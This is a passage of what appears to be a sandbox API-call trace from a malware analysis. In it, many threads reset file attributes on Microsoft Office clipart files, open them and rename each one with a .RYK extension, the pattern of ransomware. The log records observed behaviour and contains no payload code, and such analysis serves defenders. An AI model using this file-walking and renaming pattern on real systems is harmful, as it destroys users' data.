	[0243.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2786
	os_tid = 0x30c0

	[0238.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF", dwFileAttributes=0x80) returned 0
	[0243.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2787
	os_tid = 0x30c4

	[0238.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF", dwFileAttributes=0x80) returned 0
	[0243.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2788
	os_tid = 0x30c8

	[0243.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF", dwFileAttributes=0x80) returned 0
	[0243.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2792
	os_tid = 0x30d8

	[0243.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF", dwFileAttributes=0x80) returned 0
	[0243.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2793
	os_tid = 0x30dc

	[0243.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF", dwFileAttributes=0x80) returned 0
	[0243.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2794
	os_tid = 0x30e0

	[0243.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF", dwFileAttributes=0x80) returned 0
	[0243.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2795
	os_tid = 0x30e4

	[0243.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF", dwFileAttributes=0x80) returned 0
	[0243.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2796
	os_tid = 0x30e8

	[0243.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF", dwFileAttributes=0x80) returned 0
	[0243.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2797
	os_tid = 0x30ec

	[0243.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG", dwFileAttributes=0x80) returned 0
	[0243.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2798
	os_tid = 0x30f0

	[0243.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG", dwFileAttributes=0x80) returned 0
	[0243.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2799
	os_tid = 0x30f4

	[0243.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF", dwFileAttributes=0x80) returned 0
	[0243.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2800
	os_tid = 0x30f8

	[0243.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF", dwFileAttributes=0x80) returned 0
	[0243.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2801
	os_tid = 0x30fc

	[0243.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF", dwFileAttributes=0x80) returned 0
	[0243.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2802
	os_tid = 0x3100

	[0244.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF", dwFileAttributes=0x80) returned 0
	[0244.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2805
	os_tid = 0x311c

	[0244.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF", dwFileAttributes=0x80) returned 0
	[0244.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2806
	os_tid = 0x3120

	[0244.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF", dwFileAttributes=0x80) returned 0
	[0244.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2807
	os_tid = 0x3124

	[0244.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF", dwFileAttributes=0x80) returned 0
	[0244.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.894] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2808
	os_tid = 0x3128

	[0244.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF", dwFileAttributes=0x80) returned 0
	[0244.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2809
	os_tid = 0x312c

	[0244.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF", dwFileAttributes=0x80) returned 0
	[0244.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.824] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2811
	os_tid = 0x313c

	[0245.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF", dwFileAttributes=0x80) returned 0
	[0245.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2812
	os_tid = 0x3140

	[0245.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF", dwFileAttributes=0x80) returned 0
	[0245.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2813
	os_tid = 0x3144

	[0245.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF", dwFileAttributes=0x80) returned 0
	[0245.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2814
	os_tid = 0x3148

	[0245.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF", dwFileAttributes=0x80) returned 0
	[0245.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2815
	os_tid = 0x314c

	[0245.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF", dwFileAttributes=0x80) returned 0
	[0245.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2816
	os_tid = 0x3150

	[0245.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF", dwFileAttributes=0x80) returned 0
	[0245.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2817
	os_tid = 0x3154

	[0245.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF", dwFileAttributes=0x80) returned 0
	[0245.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
